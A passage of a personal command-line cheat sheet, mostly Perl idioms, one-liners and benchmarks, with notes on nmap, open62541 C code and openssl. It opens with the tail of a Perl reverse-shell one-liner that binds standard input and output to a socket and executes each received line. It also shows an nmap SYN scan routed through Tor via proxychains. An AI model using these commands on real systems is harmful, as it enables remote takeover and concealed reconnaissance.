STDIN->fdopen($c, "r");
STDOUT->fdopen($c, "w");
system $_ while <>;
'
#############################################################
## NMap - Network Scanner
#############################################################
# NMap - Network Scanner
# Dry run - show what would be scanned:
nmap 192.168.178.1-10 -sL -n --exclude 192.168.178.5-7
Starting Nmap 7.80 ( https://nmap.org ) at 2024-03-05 16:47 CET
Nmap scan report for 192.168.178.1
Nmap scan report for 192.168.178.2
Nmap scan report for 192.168.178.3
Nmap scan report for 192.168.178.4
Nmap scan report for 192.168.178.8
Nmap scan report for 192.168.178.9
Nmap scan report for 192.168.178.10
Nmap done: 7 IP addresses (0 hosts up) scanned in 0.00 seconds
# NMap - Network Scanner
# Process from a pipe:
echo $a | nmap -iL - -sL -n
sudo apt install proxychains tor
vi /etc/proxychains.conf
:socks5 127.0.0.1 9050
tor&
sudo proxychains4 nmap 192.168.178.48 -sS -A
#############################################################
## NodeJs
#############################################################
# NodeJs
node - server-side JavaScript runtime
nvm - Node Version Manager
- Use this to show/list and install another nodejs version.
- New version installed/used, is a new version of npm.
npm - Node Package Manager
- Use this to install node packages.
#############################################################
## OPEN62541
#############################################################
# Manual specify version of open62541 (if not cloned)
cmake -DOPEN62541_VERSION=v1.0.3.
# Automatically build all the open62541 examples
cmake -G "Visual Studio 14 2015 Win64" -DUA_BUILD_EXAMPLES=ON ..
# Required to build open62541
Python
CMake
Visual Studio
open62541 source code
# Steps to build open62541
# Simple addNode function using open62541
static UA_StatusCode addNode(
UA_Server *server,
char *name, char *value,
UA_UInt16 nsIndex, UA_UInt32 identifier,
UA_UInt16 nsIndexParent, UA_UInt32 identifierParent
) {
/* Define the attribute of the myInteger variable node */
UA_VariableAttributes attr = UA_VariableAttributes_default;
attr.dataType = UA_TYPES[UA_TYPES_STRING].typeId;
attr.accessLevel = UA_ACCESSLEVELMASK_READ | UA_ACCESSLEVELMASK_WRITE;
//
// Bind attribute, variable, and type to a scalar
UA_String sValue = UA_String_fromChars(value);
UA_Variant_setScalar(&attr.value, &sValue, &UA_TYPES[UA_TYPES_STRING]);
//
// Insert the variable node
UA_StatusCode code = UA_Server_addVariableNode(
server,
UA_NODEID_NUMERIC(nsIndex, identifier), // requestedNewNodeId
UA_NODEID_NUMERIC(nsIndexParent, identifierParent), // parentNodeId
UA_NODEID_NUMERIC(0, UA_NS0ID_ORGANIZES), // referenceTypeId
UA_QUALIFIEDNAME(nsIndex, name), // browseName
UA_NODEID_NUMERIC(0, UA_NS0ID_BASEDATAVARIABLETYPE), // typeDefinition
attr, NULL, NULL);
//
if (code != UA_STATUSCODE_GOOD) {
UA_LOG_FATAL(UA_Log_Stdout, UA_LOGCATEGORY_SERVER,
"ERROR adding node '%s' with ns=%d;i=%d to ns=%d;i=%d",
name,
nsIndex, identifier,
nsIndexParent, identifierParent
);
exit(1);
}
//
return code;
}
//
// Add in main
// addVariable(server);
addNode(server, "myNode1", "-- VAL1 --", 1, 1, 0, UA_NS0ID_SERVER);
addNode(server, "myNode2", "-- VAL2 --", 1, 2, 1, 1);
//
addNode(server, "myNode3", "-- VAL3 --", 1, 3, 1, 1);
addNode(server, "myNode3a", "-- VAL3 --", 1, 31, 1, 3);
addNode(server, "myNode3b", "-- VAL3 --", 1, 32, 1, 3);
addNode(server, "myNode3c", "-- VAL3 --", 1, 33, 1, 3);
//
addNode(server, "myNode4", "-- VAL4 --", 1, 4, 1, 1);
// ...
// UA_Server_run
static UA_StatusCode deleteNode(
UA_Server *server,
UA_UInt16 nsIndex, UA_UInt32 identifier
) {
//
// Delete a node
UA_StatusCode code = UA_Server_deleteNode(
server,
UA_NODEID_NUMERIC(nsIndex, identifier), // nodeId
false // deleteReferences
);
//
if (code != UA_STATUSCODE_GOOD) {
UA_LOG_FATAL(UA_Log_Stdout, UA_LOGCATEGORY_SERVER,
"ERROR deleting node ns=%d;i=%d",
nsIndex, identifier
);
exit(1);
}
//
return code;
}
//
// Add in main
// Remove a node
deleteNode(server, 1, 3);
// ...
// UA_Server_run
# Add a namespace (ns=2) open62541
# Get namespace index given a name.
UA_String s = UA_String_fromChars("myNamespace");
UA_Server_addNamespace(server, "myNamespace");
size_t ns;
UA_Server_getNamespaceByName(server, s, &ns);
UA_LOG_INFO(UA_Log_Stdout, UA_LOGCATEGORY_SERVER, "ns=%d", ns);
#############################################################
## openssl
#############################################################
# convert pem file to certificate file.
openssl x509 -in MY.pem -outform DER -out MY.cert
# Fetch certificate authorization file (openssl).
wget LINK -O MY.cert
# View certificate file.
openssl x509 -in MY.cert -text -noout
#############################################################
## Parallel
#############################################################
# Run multiple commands in parallel.
# Specify how many to run at once.
cat commands.sh | parallel -j 10
#############################################################
## PDF
#############################################################
# View pdf files on linux
xpdf perl6intro.pdf
# Parse PDF files (convert to text)
pdftotext file.pdf
pdftotext file.pdf -
# Make pdf of differences on Linux
kdiff3 file1 file2
File->Print
Properties->PageSize = A1 -> Save
Print to pdf
# Simple perl library for generating pdf files
sudo apt-get install libpdf-api2-simple-perl
# Simple perl library for generating pdf files with tables
# Need also PDF::API2
sudo apt-get install libpdf-table-perl
# Get the dimensions of a PNG image file (picture)
sudo apt-get install libimage-size-perl
perl -MImage::Size -le 'print for imgsize("logo.png");'
# HTML to PDF tool
sudo apt-get install wkhtmltopdf
# Send output to pdf
# setup
sudo apt-get install aha
echo -e "Im $RED RED $RESTORE now" | aha
#############################################################
## Perl General
#############################################################
# Zen of Perl
# wget http://www.perlmonks.org/?abspart=1;node_id=752029;displaytype=displaycode;part=1
Beauty is subjective.
Explicit is recommended, but not required.
Simple is good, but complex can be good too.
And although complicated is bad,
Verbose and complicated is worse.
Brief is better than long-winded.
But readability counts.
So use whitespace to enhance readability.
Not because you're required to.
Practicality always beats purity.
In the face of ambiguity, do what I mean.
There's more than one way to do it.
Although that might not be obvious unless you're a Monk.
At your discretion is better than not at all.
Although your discretion should be used judiciously.
Just because the code looks clean doesn't mean it is good.
Just because the code looks messy doesn't mean it is bad.
Reuse via CPAN is one honking great idea -- let's do more of that
# Zen of Perl
According to Larry Wall, there are three great virtues of a programmer; Laziness, Impatience and Hubris
- Laziness:
- The quality that makes you go to great effort to reduce overall energy expenditure.
- It makes you write labor-saving programs that other people will find useful and
- document what you wrote so you don't have to answer so many questions about it.
- Impatience:
- The anger you feel when the computer is being lazy.
- This makes you write programs that don't just react to your needs,
- but actually anticipate them.
- Or at least pretend to.
- Hubris:
- The quality that makes you write (and maintain) programs that other
- people won't want to say bad things about.
# Create a modulino (Module/program that can be also run standalone/by itself)
run unless caller;
# Use yadda yadda to denote not yet implemented code.
perl -E 'sub F{} F'
perl -E 'sub F{...} F'
Unimplemented at -e line 1.
#############################################################
## Perl Arrays
#############################################################
# Function to shuffle/mix the elements of an array
perl -le 'sub shuf{ my @a=\(@_); my $n; my $i=@_; map{ $n=rand($i--); (${$a[$n]}, $a[$n]=$a[$i])[0] }@_ } print for shuf qw/a b c/'
#
# Simplified
perl -le '@a=\(qw/a b c/); $i=@a; print for map{ $n=rand($i--); (${$a[$n]}, $a[$n]=$a[$i])[0] }@a'
perl -le '$i=@a=\(qw/a b c/); print for map{ $n=rand($i--); (${$a[$n]}, $a[$n]=$a[$i])[0] }@a'
#
# Even simplier
# Concept:
# 1. Have references to a list:
# @a = [r1,r2,r3] # where r1=\a, r2=\b, r3=\c
# 2. Spin the dice:
# $n = random from 0 to last element
# 3. return value will be reference value at element $n
# 4. Trick is that each time through the loop:
# A. max element is decreased ($i--)
# B. previous element (which was already used) is assigned the last element size
# a. means that if "a" is selected first time, its spot will be taken by "c".
# in the next round these will be available:
# 0: c # took spot of "a"
# 1: b
# b if "b" is selected first time, "b"'s spot is taken by "c"
# 0: a
# 1: c
# c. if "c" is selected first time, things proceed as normal
# 0: a
# 1: b
perl -le '@a=\(qw/a b c/); $i=@a; map{ $n=rand($i--); print ${$a[$n]}; $a[$n]=$a[$i] }@a'
perl -le '$i=@a=\(qw/a b c/); map{ $n=rand($i--); print ${$a[$n]}; $a[$n]=$a[$i] }@a'
perl -le '$i=@a=\(qw/a b c/); $n=rand($i--), print(${$a[$n]}), $a[$n]=$a[$i] for @a'
perl -le '$i=@a=\(qw/a b c/); print(${$a[$n=rand $i--]}), $a[$n]=$a[$i] for @a'
perl -le '$i=@a=\(qw/a b c/); print ${$a[$n=rand $i--]} and $a[$n]=$a[$i] for @a'
# Get random element of an array in perl.
my @a = 4..10;
print $a [rand ~~@a]
# Print the elements of an array segregated (in parenthesis)
perl -le '@a=qw/this is an array/; local $"=")("; print "(@a)"'
# Split a list into so many parts
# Purpose: Prepare for thread usage.
perl -le '$M=10; $T=3; $from=1; while($to < $M){ $to=$from+(($M-$from+1)/$T--)-1; $to=int($to)+1 if $to != int($to); print "$from -> $to"; $from=$to+1 }'
# Take 3 elements or an array/list at a time
perl -le '@a=0..30; push @b,[splice @a,0,3] while @a; print "@$_" for @b'
# Localized an array slice for a scope
perl -le 'sub pr{print "[@a]"} @a=qw/aa bb cc/; pr; {local @a[0,2]=qw/dd ff/; pr} pr'
# Perl sample array function.
+ sub get_max_length {
+ my $last_row = $#_;
+ my $last_column = $_[0]->$#*;
+
+ my @max = map {
+ my $col = $_;
+ max map {
+ length $_[$_][$col];
+ } 0 .. $last_row;
+ } 0 .. $last_column;
+
+ \@max;
+ }
# Iterate through index and value of an array.
perl -E '@arr = qw( a b c ); say "[$i] $v" while ($i,$v) = each @arr'
[0] a
[1] b
[2] c
# Rand from 10-15
perl -Me -E 'my @n = sort map { int rand( 6 ) + 10 } 1..100; say for c(@n)->uniq->each'
# Loop through a list of items while processing 3 at a time.
perl -E 'for my ($x,$y,$z) ( 1..50 ) { say "$x-$y-$z" }'
for my (...) is experimental at -e line 1.
1-2-3
4-5-6
7-8-9
10-11-12
13-14-15
16-17-18
19-20-21
22-23-24
25-26-27
28-29-30
31-32-33
34-35-36
37-38-39
40-41-42
43-44-45
46-47-48
49-50-
#############################################################
## Perl Array - Circular
#############################################################
# Perl Array - Circular (idiom)
sub grab_and_rotate ( \@ ) {
my $listref = shift;
my $element = $listref->[0];
push(@$listref, shift @$listref);
return $element;
}
@processes = ( 1, 2, 3, 4, 5 );
while (1) {
$process = grab_and_rotate(@processes);
print "Handling process $process\n";
sleep 1;
}
#############################################################
## Perl Array - Manipulation
#############################################################
# Perl function to transpose a matrix/array/lol.
sub transpose {
my $rows = shift;
my $cols = @{$rows->[0]} || 0;
my @out = map{
my $col = $_;
[map {$_->[$col]} @$rows];
} 0..$cols-1;
\@out;
}
# Perl function in perl.
sub uniq {
my %seen;
grep !$seen{$_}++, @_;
}
#############################################################
## Perl Array - Slice
#############################################################
# Perl Array - Slice
perl -Me -e '@a = qw( a b c ); @a2 = @a[0,1]; p \@a; p \@a2'
[
[0] "a",
[1] "b",
[2] "c",
]
[
[0] "a",
[1] "b",
]
# Perl Array - Slice with deletion
perl -Me -e '@a = qw( a b c ); @a2 = delete @a[0,1]; p \@a; p \@a2'
[
[0] undef,
[1] undef,
[2] "c", ]
[
[0] "a",
[1] "b",
]
# Perl Array - Hash Slice deletion
perl -Me -e '@a = qw( a b c ); %h = %a[0,1]; p \@a; p \%h'
[
[0] "a",
[1] "b",
[2] "c",
]
{ 0 => "a",
1 => "b",
}
# Perl Array - Hash Slice deletion
perl -Me -e '@a = qw( a b c ); %h = delete %a[0,1]; p \@a; p \%h' [
[0] undef,
[1] undef,
[2] "c",
]
{
0 => "a",
1 => "b",
}
# Perl Array - Slice using splice
perl -Me -e '@a = qw( a b c ); @a2 = splice @a, 0, 2; p \@a; p \@a2'
[
[0] "c",
] [
[0] "a",
[1] "b",
]
#############################################################
## Perl ASCII
#############################################################
# Namesplate engine id to aschii value (ascii,SRE)
echo '5057313930304746542d453139300' | perl -nle 'print map{chr hex}/../g'
#############################################################
## Perl Benchmark
#############################################################
# Compare evaluating a subroutine vs calling by reference
time perl -le 'sub abc{"here"} $h{command}="abc"; for(1..1_000_000){ $a = eval $h{command} }' # 26s
time perl -le 'sub abc{"here"} $h{command}=\&abc; for(1..1_000_000){ $a=&{$h{command}} }' # 0.06s
# Compare using a string in a regex vs /o optimization vs qr
perl -MBenchmark=cmpthese -E 'my @n = 1..10000; cmpthese(10000, {string => sub{"a1b" =~ /a\d+c/ for @n}, o_flag => sub{"a1b" =~ /a\d+c/o for @n}, qr => sub{my $qr = qr/a\d+c/; "a1b" =~ /$qr/ for @n } })'
# Example of benchmarking code in perl.
# Comparing the different ways to put a
# variable inside a string.
#
# #!perl
# use warnings;
# use strict;
# use Benchmark qw/cmpthese timethese/;
#
# my $num = 5;
#
# my $ways = {
# interpolate => sub{"Value is $num!\n"},
# concatenate => sub{"Value is " . $num . "!\n"},
# comma => sub{"Value is ", $num, "!\n"},
# };
#
# # for(keys %$ways){
# # print "\n\n$_\n";
# # $ways->{$_}();
# # }
#
# #cmpthese(timethese(100_000_000, $ways));
# # Same as this:
# cmpthese(100_000_000, $ways);
# Example of benchmarking code in perl.
# Comparing normal substitution to similar one, but with an eval (/e).
# use warnings;
# use strict;
# use Benchmark qw(cmpthese);
#
# my $data=<<HERE;
# Data1
# Data2
# START
# skip
# ok1
# ok2
# STOP
# Data3
# Data4
# START
# ok3
# ok4
# STOP
# Data5
# HERE
#
# my $ways = {
# normal => sub {
# $data =~ s{ ( ^ \s* START \n skip .+? STOP \s* ) }{}xmsgr,
# },
# eval => sub {
# $data =~ s{ ( ^ \s* START .*? STOP \s* \n ) }{
# local $_ = $1;
# /skip/ ? "" : $_;
# }xmsger,
# },
# };
#
# cmpthese( 3_000_000, $ways);
# Interpolation vs concat comparison:
#
# No assignment.
perl -Me -e 'my $v = 123; n { interp => sub { "$v" }, concat => sub { $v } }, 10000000'
#
Rate interp concat
interp 29411765/s -- -91%
concat 333333333/s 1033% --
#
# Full assigned.
perl -Me -e 'my $v = 123; n { interp => sub { my $c = "$v"}, concat => sub { my $c = $v } }, 10000000'
Rate interp concat
interp 12195122/s -- -68%
concat 38461538/s 215% --
#
# Inside a sentence.
perl -Me -e 'my $v = 123; n { interp => sub { my $c = "I got $v dollars"}, concat => sub { my $c = "I got " . $v . " dollars" } }, 10000000'
Rate interp concat
interp 14285714/s -- -4%
concat 14925373/s 4% --
# Interpolation vs concat vs comma comparison:
perl -Me -e 'my $v = 123; n { interp => sub { "I got $v dollars"}, concat => sub { "I got " . $v . " dollars" }, comma => sub{ "I got ", $v, " dollars" } }, 10000000'
Rate interp concat comma
interp 20408163/s -- -2% -57%
concat 20833333/s 2% -- -56%
comma 47619048/s 133% 129% --
# Remove duplicate characters.
perl -E '$_ = "abbbc"; s/(.)\g1+/$1/; say'
abc
perl -E '$_ = "abbbc"; tr///cs; say'
abc
# Remove duplicate characters (benchmark).
perl -Me -e '
$copy = "abbc";
n {
s => sub{
local $_ = $copy;
s/(.)\g1+/$1/;
$_;
},
tr => sub{
local $_ = $copy;
tr///cs;
$_;
}
}, 1000000
'
(warning: too few iterations for a reliable count)
Rate s tr
s 1408451/s -- -70%
tr 4761905/s 238% --
# Comparing different ways in perl to combine hashes.
#
# Each: 2.6s
while ( my ($key,$val) = each %users_one ) {
$users{$key} = $val;
}
#
# Merge: 1.7s
%users = ( %users, %users_one);
#
# Slice: 700ms
@users{keys %users_one} = values %users_one;
# Benchmark glob() vs -e() functions
perl -Me -e '
n {
e_found => sub{ -e "recursive.pl" },
e_not_found => sub{ -e "recursive2.pl" },
glob_found => sub{ glob "recursive.pl" },
glob_not_found => sub{ glob "recursive2.pl" },
glob_wild_flag_found => sub{ glob "rec*.pl" },
glob_wild_flag_not_found => sub{ glob "rec2*.pl" },
}, 1_000_000
'
Rate glob_wild_flag_not_found glob_wild_flag_found glob_found glob_not_found e_found e_not_found
glob_wild_flag_not_found 79491/s -- -45% -94% -95% -96% -98%
glob_wild_flag_found 143885/s 81% -- -90% -91% -93% -96%
glob_found 1408451/s 1672% 879% -- -15% -35% -56%
glob_not_found 1666667/s 1997% 1058% 18% -- -23% -48%
e_found 2173913/s 2635% 1411% 54% 30% -- -33%
e_not_found 3225806/s 3958% 2142% 129% 94% 48% --
#############################################################
## Perl Binary
#############################################################
# Convert to binary using recursion (POC,perl).
sub binary{
my($n) = @_;
$n //= $_;
return $n if $n == 0 or $n == 1;
my $k = int($n/2);
my $b = $n % 2;
binary($k) . $b;
}
for(1..40){
say "$_ ", binary;
}
__END__
1 1
2 10
3 11
4 100
5 101
6 110
7 111
8 1000
9 1001
10 1010
11 1011
12 1100
13 1101
14 1110
15 1111
16 10000
17 10001
18 10010
19 10011
20 10100
21 10101
22 10110
23 10111
24 11000
25 11001
26 11010
27 11011
28 11100
29 11101
30 11110
31 11111
32 100000
33 100001
34 100010
35 100011
36 100100
37 100101
38 100110
39 100111
40 101000
#############################################################
## Perl Bugs
#############################################################
# Global our must be used within regex embedded code (bug)
# Appears to only be a problem in older versions of Perl
perl -le 'sub func{my($t)=@_; my $s; my $m = $t =~ m{ (?{ $s //= $-[0] }) \d}x; print "t=[$t]\ns=[$s]\nm=[$m]\n"} func 1; func 1'
perl -le 'sub func{my($t)=@_; our $s; my $m = $t =~ m{ (?{ $s //= $-[0] }) \d}x; print "t=[$t]\ns=[$s]\nm=[$m]\n"} func 1; func 1'
# Segmentation fault in perl on some systems (Gentoo,SEGV)
# https://github.com/Perl/perl5/issues/19147
perl -we '$a{$b}'
# Run script multiple times in order and stop on the first error.
for n in {1..1000}; do perl -I. -IKernel/cpan-lib -MSchedule::Cron::Events -E 'eval{ Schedule::Cron::Events->new("* * 0 * *", Date => [ 16, 25, 16, 10, 7, 123])}; say "OK"'; if [ $? -ne 0 ]; then echo "STOPPED on run: $n"; break; fi; done
# Perl SEGV due to confess
https://github.com/Perl/perl5/issues/15928
# Variable suicide bug (fixed pre v5.6)
https://perldoc.perl.org/perlfaq7#What-is-variable-suicide-and-how-can-I-prevent-it?
perl -E 'my $f = 'foo'; sub func { while ($i++ < 3) { my $f = $f; $f .= "bar"; say $f }} func; say "Finally $f\n"' foobar foobar
foobar
Finally foo
# Perl lexical variable eval bug (fixed after 5.40).
https://www.perlmonks.org/?node_id=11158351
https://github.com/Perl/perl5/pull/22097
# Refresh a Module (bug):
https://www.perlmonks.org/?node_id=11161935
#############################################################
## Perl Compile
#############################################################
# Compile a perl script into c code (only on lnxbr42) (really slow)
pp -o hello hello.pl
# Run c/cpp code inside perl (Compile)
perldoc Inline
#############################################################
## Perl Configuration
#############################################################
# Print all the perl configuration variables
perl -V:.*
# Check if little or big endian
perl -V:byteorder
byteorder='12345678' # Little
# Show all perl configuration options.
perl -MConfig -Me -e 'p \%Config'
#############################################################
## Perl Debugger
#############################################################
# Library to enable using up arrow key in perl debugger window (-de0)
sudo apt install libreadline-dev
# Check for paste bracketing
bind -V | grep paste
enable-bracketed-paste is set to `on'
#
# Enable paste bracketing
if [ -n "$PS1" ]; then
bind 'set enable-bracketed-paste on'
fi
# Create a perl debug file. Watch parameters. view code around (v) (debugger)
cat > .perldb
@DB::typeahead = (
'{{v',
# 'c',
# 'Nonstop',
# 'frame=0',
);
parse_options('inhibit_exit=0');
# Go into a similar session as with python (debugger)
perl -de0
# Graphical perl debugger (only on lnxbr42)
perl -d:ptkdb -e 'print for 1..10'
#############################################################
## Perl DOS
#############################################################
# Template to use the same file for perl and dos
@REM='
@echo off
perl -x -S -l %0 %*
exit /b
';
#!perl
print "HELLO WORLD";
#############################################################
## Perl Endian
#############################################################
# Check type of endian (little or big)
perl -le 'print unpack "h*", pack "S2",1,2' # 10002000 means little endian
# Big to little endian converter
perl -nle 'print pack "V*", unpack "N*", $_'
# Check if Big Endian
perl -le 'print unpack "H08",pack "L",2'
2 -> 02000000 mean Big Endian
# Force little endian
perl -le 'print unpack "H08",pack "L<",2'
# Force big endian
perl -le 'print unpack "H08",pack "L>",2'
# Convert Big Endian to Little Endian (approach 1)
echo 0x89346512 | perl -ple 's/(\d\d)(\d\d)(\d\d)(\d\d)/$4$3$2$1/'
# Convert Big Endian to Little Endian (approach 2)
echo 0x3487 | perl -ple 's/(?:(\d\d)(\d\d))?(\d\d)(\d\d)/$4$3$2$1/'
echo 0x89346512 | perl -ple 's/(?:(\d\d)(\d\d))?(\d\d)(\d\d)/$4$3$2$1/'
#############################################################
## Perl Error Handling
#############################################################
# Perl Error Handling
# die can return more detailed info. (perl)
eval {
die {
str => "some error name",
type => "bad",
level => 2,
};
};
p $@;
# Can use $^S to check if inside of an eval block.
# eval State.
perl -E '
sub f { say $^S }
f;
eval { f };
eval "f";
'
0
1
1
#############################################################
## Perl File Test Markers
#############################################################
# Example of reading from the end of file in perl.
while (<DATA>){
$r = /start/../end/;
print if $r > 1 and $r !~ /E0$/;
}
__DATA__
junk1
start
data1
data2
data4
end
junk2
# On systems where $0 cannot be used to find out
# the file size, one can maybe still use <DATA>
# to determine the size of the file.
use POSIX qw(strftime);
$raw_time = (stat(DATA))[9];
$size = -s DATA;
$kilosize = int($size / 1024) . "k";
print "<P>Script size is $kilosize\n";
print strftime(
"<P>Last script update: %c (%Z)\n", localtime($raw_time)
);
__DATA__
DO NOT REMOVE THE PRECEDING LINE.
#############################################################
## Perl File Syntax
#############################################################
# Can use "#" as a line number directives. (Perl File Syntax)
# https://perldoc.perl.org/perlsyn#Plain-Old-Comments-(Not!)
# Note: It marks the NEXT line.
perl -E 'eval qq(# line 123 myfile.txt\ndie "My bad"); say $@'
My bad at myfile.txt line 123.
# Perl File Syntax
# When opened for reading, the special
# filename “–” refers to STDIN. When
# opened for writing, the same special
# filename refers to STDOUT.
# Normally, these are specified as “<–” and “>–”,
# respectively.
open(INPUT, "–" ) || die; # re–open standard input for reading
open(INPUT, "<–") || die; # same thing, but explicit
open(OUTPUT, ">–") || die; # re–open standard output for writing
# Can always use / for files in perl (even on DOS).
my $path = "a\b\c.txt";
my $path = "a/b/c.txt";
# Read piped output in perl.
open PIPE, "-|", "perl out.pl" or die $!;
while( my $line = <PIPE> ){
print $line;
}
close PIPE;
#############################################################
## Perl File Test Operators
#############################################################
# Check if reading from pipe or standard input STDIN keyboard
echo "abc" | perl -le 'print -t STDIN ? "STDIN" : "pipe"' # "pipe"
perl -le 'print -t STDIN ? "STDIN" : "pipe"' # "STDIN"
# Read from either PIPE or from standard input STDIN (in Perl)
perl -le 'push @ARGV, <STDIN> unless -t STDIN; print "[$_]" for @ARGV'
perl -le 'push @ARGV, <STDIN> unless -t; print "[$_]" for @ARGV'
perl -le 'push @ARGV, map /\S+/g,<STDIN> unless -t; print "[$_]" for @ARGV'
perl -le 'print -t() ? "RIGHT" : "LEFT"'
echo | perl -le 'print -t() ? "RIGHT" : "LEFT"'
#############################################################
## Perl Golf - General
#############################################################
# Get the Path variable on DOS
path | perl -E "$/=';'; say for <>"
path | perl -073 -nE "say"
path | perl -073 -l12 -pe ""
path | perl -073l12 -pe ""
path | perl -073l12pe ""
path | perl -073l12pe0
path | perl -lp073e0
# Get the Path variable on Linux
path | perl -073 -nE "say"
echo "$PATH" | perl -E '$/=":"; say for <>'
echo "$PATH" | perl -072 -nE 'say'
echo "$PATH" | perl -072 -l12 -pe ''
echo "$PATH" | perl -072l12 -pe ''
echo "$PATH" | perl -072l12pe ''
echo "$PATH" | perl -072l12pe0
echo "$PATH" | perl -lp072e0
#############################################################
## Perl Golf - Column Selection
#############################################################
# Get Nth column of data (-e must be last)
ll * | perl -ane 'print "$F[8]\n"'
# Auto Split a file using the delimeter 'a' (-e must be last)
perl -F'a' -anle 'print $F[1]' start.txt
# Split according to colon
cat /etc/passwd| perl -F: -ane 'print "@F"'
# Print first argument (with debugging)
echo "abc" | perl -MO=Deparse -le '<> =~ /(b)/; print $1'
# Print first argument if match found
echo "abc" | perl -lne 'print $1 if /(.b.)/'
# Print first argument (with debugging. same but better)
echo "abc" | perl -MO=Deparse -nle '/(b)/; print $1'
# Take out all words from a string and re-sort
echo "abc-def-hij" | perl -lne '@a=/\w+/g; print "@a[2,1,0]"'
# Join all elements found with a different delimeter
echo "abc-def-hij" | perl -lne '@a=/\w+/g; $"=","; print "@a[2,1,0]"'
# Extract columns from PDF like format
cat data3.txt | perl -lpe 's/(?<=\()\s+//' | perl -alne 'print if @F == 3' | perl -lpe 's/\s+/,/g' > data3.csv
# Sort columns by field 5 (who)
who | perl -le 'chomp(@a=<>); print for map{$_->[0]} sort{$a->[1] cmp $b->[1]} map{[$_,(split " ")[5]]} @a'
who |sort -k 5
#############################################################
## Perl Golf - Line Count
#############################################################
# Print the number of lines in a file, left aligned, with 10 character wide (golf)
cat alpha.txt | perl -e '[<>];printf "%010d\n",$.'
# Print the number of lines in a file, left aligned, with 10 character wide (golf)
cat alpha.txt | perl -ne '}{printf"%010d\n",$.'
# Print the number of lines in a file (golf)
cat alpha.txt | perl -ple '}{$_=$.'
# Get line count (golf)
perl -lne '}{ print $.' $1
# Print the number of lines in a file (golf,wc)
cat alpha.txt | perl -pe '}{$_=$.+1e9.$/^v1'
perl -p }{$_=$.+1e9.$/^v1
perl -p }{$_=$.+1e9.$/^chr (1)
#############################################################
## Perl Golf - Read Range
#############################################################
# Extract lines 4 through 10 of a file (golf)
perl -nle 'print if 4..10' sb_devtest.ui
# Print only the first 5 lines of a file (golf,head 5)
cat file | perl -pe '6..exit'
# Print last 5 lines of a file like tail (golf)
cat file | perl -e 'map--$.<5&&print,<>'
# Print last 5 lines of a file like tail (golf,tail 5)
cat file | perl -e 'print+(<>)[-5..-1]'
perl -e 'print+(<>)[-5..-1]'
perl -e '--$.>9||print for <>'
# Read first line of files (golf)
perl -lne 'print "$ARGV :: $_"; close ARGV' aircraft__*
# Read only certain lines in a file (like line 1 or line 5) (golf)
perl -lne 'print "$ARGV :: $_" if $. == 3 ; close ARGV if eof' aircraft__*
# Add line numbers to files.
# ARGV file handle containing currently open file.
perl -pe '
$_ = "$. $_";
close ARGV if eof
' file1 file2
#############################################################
## Perl Golf - tac
#############################################################
# Print a file in reverse order like tac (golf)
cat alpha.txt | perl -e 'print reverse <>'
# Print a file in reverse order like tac (golf)
cat alpha.txt | perl -pe '$\=$_.$\}{'
#############################################################
## Perl Hash
#############################################################
# Get size of a hash.
perl -E '%h = qw( cat 11 bat 22 mat 33 ); say ~~ keys %h; say ~~ %h'
3
3
# Process a hash/array with a queue instead of a recursive approach.
# Using for loop.
perl -Me -e 'my @queue; my @arr = ( 4,5,6); for my $val ( @arr ) { push @queue, \$val }; $$_ += 3 for @queue; p \@arr'
perl -Me -e 'my @q; my %h = ( a => 1 ); for my $k ( keys %h ) { push @q, \$h{$k} }; $$_ += 3 for @q; p \%h; p \@q'
#
# Using map and $_ works also :)
perl -Me -e 'my @q; my @a = ( 4,5,6); push @q, map { ref() ? $_ : \$_ } @a; $$_ += 3 for @q; p \@a'
perl -Me -e 'my @q; my %h = ( a => 1 ); push @q, map { ref() ? $_ : \$_ } values %h; $$_ += 3 for @q; p \%h; p \@q'
# Process a hash/array with a queue instead of a recursive approach.
# This is documented in:
perldoc -f values
"""
Note that the values are not copied, which means modifying them
will modify the contents of the hash:
for (values %hash) { s/foo/bar/g } # modifies %hash values
for (@hash{keys %hash}) { s/foo/bar/g } # same
"""
# Values and map return aliases to the real data.
perl -Me -e 'my %h = ( a => 111 ); say \$h{a}; say for map { \$_ } values %h'
SCALAR(0xb4000073dec1f678)
SCALAR(0xb4000073dec1f678)
# Values and map return aliases to the real data.
perl -Me -e 'my @a = ( 111, 222 ); say \$a[0]; say \$a[1]; say for map { \$_ } @a; say for \( @a )'
SCALAR(0xb4000073a2e1f678)
SCALAR(0xb4000073a2e1f840)
SCALAR(0xb4000073a2e1f678)
SCALAR(0xb4000073a2e1f840)
SCALAR(0xb4000073a2e1f678)
SCALAR(0xb4000073a2e1f840)
# Process a hash/array with a queue instead of a recursive approach.
# This is documented in:
perldoc -f map
"""
Note that $_ is an alias to the list value, so it can be used to
modify the elements of the LIST.
"""
# Hash pair slice.
perl -Me -e '%h = ( a => 1, b => 2, c => 3 ); %h2 = %h{qw( a b )}; p \%h; p \%h2'
{
a => 1,
b => 2,
c => 3,
}
{
a => 1,
b => 2,
}
# Hash pair slice with delete.
perl -Me -e '%h = ( a => 1, b => 2, c => 3 ); %h2 = delete %h{qw( a b )}; p \%h; p \%h2'
{
c => 3,
}
{
a => 1,
b => 2,
}
# Perl Hash noop.
# There is one additional caveat that didn’t apply to
# square brackets. Since braces are also used for
# several other things (including blocks), you may
# occasionally have to disambiguate braces at the
# beginning of a statement by putting a + or a
# return in front, so that Perl realizes the opening
# brace isn’t starting a block. For example, if you
# want a function to make a new hash and return a
# reference to it, you have these options:
sub hashem { { @_ } } # Silently WRONG — returns @_.
sub hashem { +{ @_ } } # Ok.
sub hashem { return { @_ } } # Ok.
#############################################################
## Perl Inplace Edit
#############################################################
# Print attempted change of Shebang line
perl -ple 's{^#!.*$}{#!/usr/bin/perl}' my_file
# Change Shebang line of file (without making a backup)
perl -i -ple 's{^#!.*$}{#!/usr/bin/perl}' my_file
# Change Shebang line of file (and backup the file in the same directory)
perl -i'.bak' -ple 's{^#!.*$}{#!/usr/bin/perl}' my_file
# Change Shebang line of file (and backup the file in another directory)
perl -i'Backup/*.bak' -ple 's{^#!.*$}{#!/usr/bin/perl}' my_file
# Change comment indentation for a file to 60 (some reason need to subtract 1 from the desired amount)
perl -i'.bak' -lpe 's/^(\s*+[^#]+?)\s*(#+.*$)/sprintf "%-59s %s",$1,$2/e' my_file
# Customizable inplace editing (only when desired). Undef disables inplace editing
perl -le 'local $^I = ($run == 1) ? "bak_*" : undef'
# Apply export markings to many files
#
# Goal
sed -i -e '1 e cat export.txt' hpcclr_bore.ada
#
# Only if a single line in files
perl -i -lpe 'INIT{$m=shift; $m=`cat $m`} print "$m"' marking.txt file*
#
# Too long
